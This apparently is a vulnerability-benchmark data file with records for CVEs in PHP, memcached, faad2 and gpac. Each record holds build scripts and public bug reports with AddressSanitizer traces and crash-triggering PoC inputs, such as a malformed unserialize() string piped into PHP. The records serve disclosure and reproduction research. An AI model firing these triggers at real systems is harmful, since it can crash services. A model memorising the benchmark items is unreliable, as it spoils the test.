#3 0xa7648f in zif_mb_split /home/hugh/php-7.3.0/ext/mbstring/php_mbregex.c
#4 0x1410c05 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/hugh/php-7.3.0/Zend/zend_vm_execute.h:690:2
#5 0x11fee0d in execute_ex /home/hugh/php-7.3.0/Zend/zend_vm_execute.h:55287:7
#6 0x11ff661 in zend_execute /home/hugh/php-7.3.0/Zend/zend_vm_execute.h:60834:2
#7 0x1012390 in zend_eval_stringl /home/hugh/php-7.3.0/Zend/zend_execute_API.c:1018:4
#8 0x1012c1a in zend_eval_stringl_ex /home/hugh/php-7.3.0/Zend/zend_execute_API.c:1059:11
#9 0x1012c1a in zend_eval_string_ex /home/hugh/php-7.3.0/Zend/zend_execute_API.c:1070
#10 0x153d7c6 in do_cli /home/hugh/php-7.3.0/sapi/cli/php_cli.c:1030:5
#11 0x153a6de in main /home/hugh/php-7.3.0/sapi/cli/php_cli.c:1392:18
#12 0x7fb02af8cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#13 0x43aa99 in _start (/home/hugh/php-7.3.0/sapi/cli/php-mbstring-asan-fast+0x43aa99)
0x6030000032fe is located 30 bytes inside of 32-byte region [0x6030000032e0,0x603000003300)
allocated by thread T0 here:
#0 0x4f00f0 in malloc (/home/hugh/php-7.3.0/sapi/cli/php-mbstring-asan-fast+0x4f00f0)
#1 0xf66f9c in __zend_malloc /home/hugh/php-7.3.0/Zend/zend_alloc.c:2904:14
SUMMARY: AddressSanitizer: negative-size-param (/home/hugh/php-7.3.0/sapi/cli/php-mbstring-asan-fast+0x4db2e5) in __asan_memcpy
==9942==ABORTING
Comments:
[Comment 1] [2018-12-29 12:43 UTC] [email protected]
Thanks for reporting this bug. I can confirm the described issue,
and also that your patch fixes it. PHP-7.2 and older are not affected,
since `n` had been declared as int there.
> Interestingly, it doesn't crash with "[[:word:]]", but does with
> "\w", so the docs at
> https://secure.php.net/manual/en/regexp.reference.character-classes.php
> may be slightly incorrect.
These docs are about the PCRE extension; mb_split() and the other
mbregex functions use the Oniguruma engine which uses a somewhat
different pattern syntax.
Links: https://secure.php.net/manual/en/regexp.reference.character-classes.php
[Comment 2] [2018-12-29 13:22 UTC] [email protected]
Stas, can you please apply the formatted patch[1] to the security
repo (PHP-7.3 and up)?
[1] <https://gist.github.com/cmb69/a2be4dd4240bbee11ce4cb801c60d6ab>
Links: https://gist.github.com/cmb69/a2be4dd4240bbee11ce4cb801c60d6ab
[Comment 3] [2018-12-29 19:42 UTC] hugh at allthethings dot co dot nz
Ah yeh, being an int in previous versions makes sense. Thought I was going mad!
That makes sense with the docs. I'm not sure any of the function pages describe what syntax Oniguruma uses. Would it be worth me creating another bug for that to get written at some point?
Cheers,
Hugh
[Comment 4] [2018-12-30 03:12 UTC] [email protected]
In security repo as ee30a1fa4c05a5e3d53898296ed9bdb6a1d63239
[Comment 5] [2018-12-30 22:36 UTC] [email protected]
> That makes sense with the docs. I'm not sure any of the function
> pages describe what syntax Oniguruma uses. Would it be worth me
> creating another bug for that to get written at some point?
A quick search for existing Oniguruma pattern syntax in the manual
brought up nothing, so indeed this should be filed as
documentation problem. The syntax is documented in
<https://github.com/kkos/oniguruma/blob/master/doc/RE>.
Links: https://github.com/kkos/oniguruma/blob/master/doc/RE
[Comment 6] [2018-12-30 22:42 UTC] hugh at allthethings dot co dot nz
File bug #77383 for the doc issue
Links: https://bugs.php.net/bug.php?id=77383
Commit References:
ee30a1fa4c05a5e3d53898296ed9bdb6a1d63239
|
[] |
[
{
"sha": "ee30a1fa4c05a5e3d53898296ed9bdb6a1d63239",
"url": "https://github.com/php/php-src/commit/ee30a1fa4c05a5e3d53898296ed9bdb6a1d63239"
}
] |
php.cve-2017-12933
|
php/php-src
|
fb59213fc461f079bc218abf44cb5e2b4db2182c
| 2016-05-25T04:31:05
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fb59213fc461f079bc218abf44cb5e2b4db2182c
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=74111
## Description:
PHP Bug ID: 74111
Summary: Heap buffer overread (READ: 1) finish_nested_data from unserialize
Status: Closed
PHP Version: 7.1.2RC1
Assigned: stas (profile)
CVE-ID: 2017-12933
Description:
Description:
------------
Fuzzing with AFL has produced this test case which reports (with USE_ZEND_ALLOC=0):
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:480 finish_nested_data
This seems like it could be related to Hanno's report (https://bugs.php.net/bug.php?id=73825&edit=2) except that Hanno's test case appears to be fixed in the 7.1.2RC1 source I have from GitHub and I get the expected 'Warning: Bad unserialize data in - on line 2' when running that case.
Test script:
---------------
echo -ne 'O:8:"stdClass":00000000' | ~/php/afl/php-src-php-7.1.2RC1/sapi/cli/php -r 'unserialize(file_get_contents("php://stdin"));'
Actual result:
--------------
echo -ne 'O:8:"stdClass":00000000' | ~/php/afl/php-src-php-7.1.2RC1/sapi/cli/php -r 'unserialize(file_get_contents("php://stdin"));'
=================================================================
==17064==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400004b941 at pc 0x00000134929e bp 0x7ffef3018ff0 sp 0x7ffef3018fe8
READ of size 1 at 0x60400004b941 thread T0
#0 0x134929d in finish_nested_data /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:480:6
#1 0x134929d in object_common2 /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:572
#2 0x1345f03 in php_var_unserialize_internal /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:989:9
#3 0x133e3ba in php_var_unserialize /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:584:11
#4 0x130145e in zif_unserialize /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var.c:1114:7
#5 0x183126a in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:628:2
#6 0x16eeff5 in execute_ex /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:432:7
#7 0x16efda6 in zend_execute /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:474:2
#8 0x15519cd in zend_eval_stringl /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_execute_API.c:1093:4
#9 0x1552343 in zend_eval_stringl_ex /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_execute_API.c:1134:11
#10 0x1552343 in zend_eval_string_ex /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_execute_API.c:1145
#11 0x193b0aa in do_cli /home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php_cli.c:1024:8
#12 0x1938dd4 in main /home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php_cli.c:1381:18
#13 0x7f211a95482f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
#14 0x4809c8 in _start (/home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php+0x4809c8)
0x60400004b941 is located 1 bytes to the right of 48-byte region [0x60400004b910,0x60400004b940)
allocated by thread T0 here:
#0 0x507cd5 in realloc (/home/cyoung/php/afl/php-src-php-7.1.2RC1/sapi/cli/php+0x507cd5)
#1 0x14b06aa in __zend_realloc /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_alloc.c:2836:6
#2 0x121fd96 in zif_file_get_contents /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/file.c:561:18
#3 0xfd0fdb in phar_file_get_contents /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/phar/func_interceptors.c:224:2
#4 0x1831ce2 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/cyoung/php/afl/php-src-php-7.1.2RC1/Zend/zend_vm_execute.h:675:2
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/cyoung/php/afl/php-src-php-7.1.2RC1/ext/standard/var_unserializer.re:480 finish_nested_data
Shadow bytes around the buggy address:
0x0c08800016d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c08800016e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c08800016f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0880001700: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c0880001710: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
=>0x0c0880001720: fa fa 00 00 00 00 00 00[fa]fa 00 00 00 00 00 fa
0x0c0880001730: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x0c0880001740: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c0880001750: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c0880001760: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x0c0880001770: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17064==ABORTING
Comments:
[Comment 1] [2017-05-25 01:45 UTC] cyoung at tripwire dot com
Can someone provide feedback on this issue? It seems an awful lot like CVE-2016-10161 but it is a distinct issue and I am surprised to not hear any feedback on this.
[Comment 2] [2017-06-25 18:47 UTC] [email protected]
Related To: Bug #74658
Links: https://bugs.php.net/bug.php?id=74658
[Comment 3] [2017-06-25 19:22 UTC] [email protected]
Patch against PHP 7.0, though it should be the same for all versions (modulo generated files): https://gist.github.com/nikic/46c6ce2005c5d5a0f62cc17fc1dddd96
I don't have a testing environment, but this probably also exists in PHP 5.6, so assigning to stas for release management. I think it's okay to not fix this in 5.6, as I don't see any exploitation vector beyond unlikely DOS.
Links: https://gist.github.com/nikic/46c6ce2005c5d5a0f62cc17fc1dddd96
[Comment 8] [2017-08-14 13:18 UTC] cyoung at tripwire dot com
Can there be a CVE assigned for this?
[Comment 9] [2017-08-23 13:40 UTC] cyoung at tripwire dot com
Mitre has assigned CVE-2017-12933
|
[] |
[] |
memcached.cve-2021-37519
|
memcached/memcached
|
c472369fed5981ba8c004d426cee62d5165c47ca
| 2020-11-20T17:40:12
|
memcached
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkgconf libevent-dev
RUN git clone https://github.com/memcached/memcached memcached
RUN git -C memcached checkout c472369fed5981ba8c004d426cee62d5165c47ca
WORKDIR $SRC/memcached
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure --enable-proxy
make -j$(nproc)
cd $SRC/memcached
|
/src/memcached
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/memcached/memcached/issues/805
## Description:
Issue: memcached/memcached#805
Title: Heap buffer overflow
State: closed
Created by: C0NSTANTINE110
Created at: 2021-07-19 06:49:27+00:00
Labels: help wanted
Issue Body:
### Tested On:
memcached 1.6.9
### PoC:
[a.txt](https://github.com/memcached/memcached/files/6838558/a.txt)
./memcached --auth-file=input/a.txt -u root -m 1024 -p 11211
=================================================================
==1061115==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000009e at pc 0x7fae5a305f9d bp 0x7ffee16f4fd0 sp 0x7ffee16f4778
WRITE of size 15 at 0x60200000009e thread T0
#0 0x7fae5a305f9c (/lib/x86_64-linux-gnu/libasan.so.5+0x53f9c)
#1 0x55bca5ccaf23 in fgets /usr/include/x86_64-linux-gnu/bits/stdio2.h:265
#2 0x55bca5ccaf23 in authfile_load /home/constantine/test/memcached/authfile.c:50
#3 0x55bca5c3ffb5 in main /home/constantine/test/memcached/memcached.c:5639
#4 0x7fae597010b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#5 0x55bca5c45d9d in _start (/home/constantine/test/memcached/memcached+0x26d9d)
0x60200000009e is located 0 bytes to the right of 14-byte region [0x602000000090,0x60200000009e)
allocated by thread T0 here:
#0 0x7fae5a3bfdc6 in calloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10ddc6)
#1 0x55bca5ccaedd in authfile_load /home/constantine/test/memcached/authfile.c:44
SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0x53f9c)
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 04 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff8010: fa fa 00[06]fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1061115==ABORTING
Comments:
Comment by dormando on 2021-07-19 07:21:19+00:00:
Hey,
Thanks for the report. This is... I'll say incredibly minor, so I'll mark this as "help wanted" in case any passerby wants to churn up a PR for it.
Attachments:
https://github.com/memcached/memcached/files/6838558/a.txt
|
[] |
[
{
"sha": "264722ae4e248b453be00e97197dadc685b60fd0",
"url": "https://github.com/memcached/memcached/commit/264722ae4e248b453be00e97197dadc685b60fd0"
},
{
"sha": "ddee3e27a031be22f5f28c160be18fd3cb9bc63d",
"url": "https://github.com/memcached/memcached/commit/ddee3e27a031be22f5f28c160be18fd3cb9bc63d"
}
] |
faad2.cve-2018-20359
|
knik0/faad2
|
334e7647a5f31903aca33dde39bb8683e9d8cccd
| 2017-12-17T13:54:42
|
faad2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/knik0/faad2 faad2
RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd
WORKDIR $SRC/faad2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap
./configure
make -j$(nproc)
|
/src/faad2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/knik0/faad2/issues/29
## Description:
Issue: knik0/faad2#29
Title: Invalid memory address dereference in sbrDecodeSingleFramePS(in libfaad/sbr_dec.c:601)
State: closed
Created by: fantasy7082
Created at: 2018-12-17 06:45:31+00:00
Issue Body:
Hi, i found a issue in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function sbrDecodeSingleFramePS .the details are below(ASAN):
```
./faad faad_res/007-invalid-def-sbr_hfadj_601 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/007-invalid-def-sbr_hfadj_601 file info:
ADTS, 0.469 sec, 41 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
ASAN:SIGSEGVfaad_res/007-invalid-def-sbr_hfadj_601.
=================================================================
==7085==ERROR: AddressSanitizer: SEGV on unknown address 0x0000f64f3bb0 (pc 0x7fa4348f6f2d bp 0x7ffff64fd450 sp 0x7ffff64f3b80 T0)
#0 0x7fa4348f6f2c in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:601
#1 0x7fa43489eb54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#2 0x7fa4348a6e28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#3 0x7fa4348a5354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#4 0x7fa4348a62da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#5 0x7fa4348609c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fa434860566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fa43449882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_dec.c:601 sbrDecodeSingleFramePS
==7085==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/007-invalid-def-sbr_hfadj_601
Comments:
Comment by nluedtke on 2019-04-26 11:28:03+00:00:
This was assigned [CVE-2018-20359](https://nvd.nist.gov/vuln/detail/CVE-2018-20359).
---
Comment by hlef on 2019-08-20 13:03:52+00:00:
This one is also fixed on the latest master. This is the same issue as #30 and #21, addressed in 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3.
So this can be closed as well.
---
Comment by fabiangreffrath on 2019-08-20 13:08:36+00:00:
Let's close it then!
Commit References:
6b4a7cde30f2e2cb03e78ef476cc73179cfffda3
|
[] |
[
{
"sha": "6b4a7cde30f2e2cb03e78ef476cc73179cfffda3",
"url": "https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3"
},
{
"sha": "678aaac12a93ea496bb037730a1c13db73e70924",
"url": "https://github.com/knik0/faad2/commit/678aaac12a93ea496bb037730a1c13db73e70924"
},
{
"sha": "ebec9f94879fcb6390a7a1ada2d596a446af1d78",
"url": "https://github.com/knik0/faad2/commit/ebec9f94879fcb6390a7a1ada2d596a446af1d78"
},
{
"sha": "b9862e2e3d585d1de25143b27ca19df79e9921c5",
"url": "https://github.com/knik0/faad2/commit/b9862e2e3d585d1de25143b27ca19df79e9921c5"
},
{
"sha": "1d539788397713968d9660fe9f4e68af526bab73",
"url": "https://github.com/knik0/faad2/commit/1d539788397713968d9660fe9f4e68af526bab73"
},
{
"sha": "c8f36e7d779d6ac34a902873975163c1c7793382",
"url": "https://github.com/knik0/faad2/commit/c8f36e7d779d6ac34a902873975163c1c7793382"
},
{
"sha": "b394ca181f3f189386ed6d814be6bcd91ef31d41",
"url": "https://github.com/eustas/faad2/commit/b394ca181f3f189386ed6d814be6bcd91ef31d41"
},
{
"sha": "b02a9ee5bf071fa92563536c076a69dbec814e7e",
"url": "https://github.com/arcspace/faad2/commit/b02a9ee5bf071fa92563536c076a69dbec814e7e"
},
{
"sha": "21240c726a94d1b01626beefef975eaf639b5ddc",
"url": "https://github.com/hlef/faad2/commit/21240c726a94d1b01626beefef975eaf639b5ddc"
},
{
"sha": "2298d5ff9963b62e1a5a396bbbcc64c20bd1ac9b",
"url": "https://github.com/hlef/faad2/commit/2298d5ff9963b62e1a5a396bbbcc64c20bd1ac9b"
},
{
"sha": "805be6bd1e0670916a41d0cd33623608b44f78a2",
"url": "https://github.com/knik0/faad2/commit/805be6bd1e0670916a41d0cd33623608b44f78a2"
},
{
"sha": "8d045444cb72091b8b479684ffe7ee8e662afb43",
"url": "https://github.com/knik0/faad2/commit/8d045444cb72091b8b479684ffe7ee8e662afb43"
},
{
"sha": "f91a91af5af76aaff7be6dd2c06b782c840e95f6",
"url": "https://github.com/knik0/faad2/commit/f91a91af5af76aaff7be6dd2c06b782c840e95f6"
},
{
"sha": "b85c7449be81f0f707dca329c2fc67733d4c6856",
"url": "https://github.com/knik0/faad2/commit/b85c7449be81f0f707dca329c2fc67733d4c6856"
},
{
"sha": "8e28afb1d0ccc92d47cb852401049b5bca9be9ba",
"url": "https://github.com/knik0/faad2/commit/8e28afb1d0ccc92d47cb852401049b5bca9be9ba"
},
{
"sha": "022b3e5c4ef3f7a557bf262d2ca4eff276a1a96c",
"url": "https://github.com/knik0/faad2/commit/022b3e5c4ef3f7a557bf262d2ca4eff276a1a96c"
},
{
"sha": "58fff5ceabc652747240a8fd2b929f33da192947",
"url": "https://github.com/knik0/faad2/commit/58fff5ceabc652747240a8fd2b929f33da192947"
},
{
"sha": "5a036511227b01a6957fe8e42016b5552ac9f7a6",
"url": "https://github.com/knik0/faad2/commit/5a036511227b01a6957fe8e42016b5552ac9f7a6"
},
{
"sha": "372b2e44049f355c52c13d75112db9f14d0ae4f7",
"url": "https://github.com/knik0/faad2/commit/372b2e44049f355c52c13d75112db9f14d0ae4f7"
}
] |
gpac.cve-2021-32438
|
gpac/gpac
|
289ffce3e0d224d314f5f92a744d5fe35999f20b
| 2021-04-30T03:47:35
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 289ffce3e0d224d314f5f92a744d5fe35999f20b
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/1769
## Description:
Issue: gpac/gpac#1769
Title: Null pointer dereference in gpac MP4Box gf_media_export_filters
State: closed
Created by: JsHuang
Created at: 2021-04-30 08:03:06+00:00
Issue Body:
A null pointer dereference issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -nhnt 1 poc -out /dev/null
```
Detailed ASAN result is as below:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2590==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x7f10a4aef7e8 bp 0x7ffc623e3300 sp 0x7ffc623e2c20 T0)
==2590==The signal is caused by a READ memory access.
==2590==Hint: address points to the zero page.
#0 0x7f10a4aef7e7 in gf_media_export_filters media_tools/media_export.c:1112
#1 0x7f10a4af1146 in gf_media_export media_tools/media_export.c:1474
#2 0x5605c1f30d36 in do_export_tracks /home/lab4/src/gpac/applications/mp4box/main.c:4646
#3 0x5605c1f35f6a in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:5971
#4 0x5605c1f37653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335
#5 0x7f10a455a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#6 0x5605c1f232ad in _start (/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV media_tools/media_export.c:1112 in gf_media_export_filters
==2590==ABORTING
```
Credit : ADLab of Venustech
[poc-null.zip](https://github.com/gpac/gpac/files/6403776/poc-null.zip)
Comments:
Comment by JsHuang on 2021-08-11 02:27:58+00:00:
This is CVE-2021-32438
Attachments:
https://github.com/gpac/gpac/files/6403776/poc-null.zip
|
[] |
[
{
"sha": "00194f5fe462123f70b0bae7987317b52898b868",
"url": "https://github.com/gpac/gpac/commit/00194f5fe462123f70b0bae7987317b52898b868"
}
] |
gpac.cve-2023-48011
|
gpac/gpac
|
91e787d6ce65df73f84b3cea1b77b7e9a6117533
| 2023-10-12T08:07:55
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout 91e787d6ce65df73f84b3cea1b77b7e9a6117533
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2611
## Description:
Issue: gpac/gpac#2611
Title: heap-use-after-free in ./gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
State: closed
Created by: gandalf4a
Created at: 2023-10-08 16:10:40+00:00
Issue Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
[33m[iso file] extra box maxr found in hinf, deleting
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[iso file] Box "stss" (start 9939) has 32 extra bytes
[0m[33m[iso file] extra box maxr found in hinf, deleting
[0m[33m[iso file] Track with no sample description box !
[0m[33m[IsoMedia] Track 4 type MPEG not natively handled
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[iso file] Unknown box type traI in parent moov
[0m[33m[MP4Mux] muxing unknown codec ID Codec Not Supported, using generic sample entry with 4CC "MPEG"
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[MP4Mux] Failed to add sample DTS 0 from O7 - prev DTS 18446744073709551615: Out Of Memory
[0m=================================================================
==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68
READ of size 8 at 0x60b000001d88 thread T0
#0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37
#1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4
#2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8
#3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90)
freed by thread T0 here:
#0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
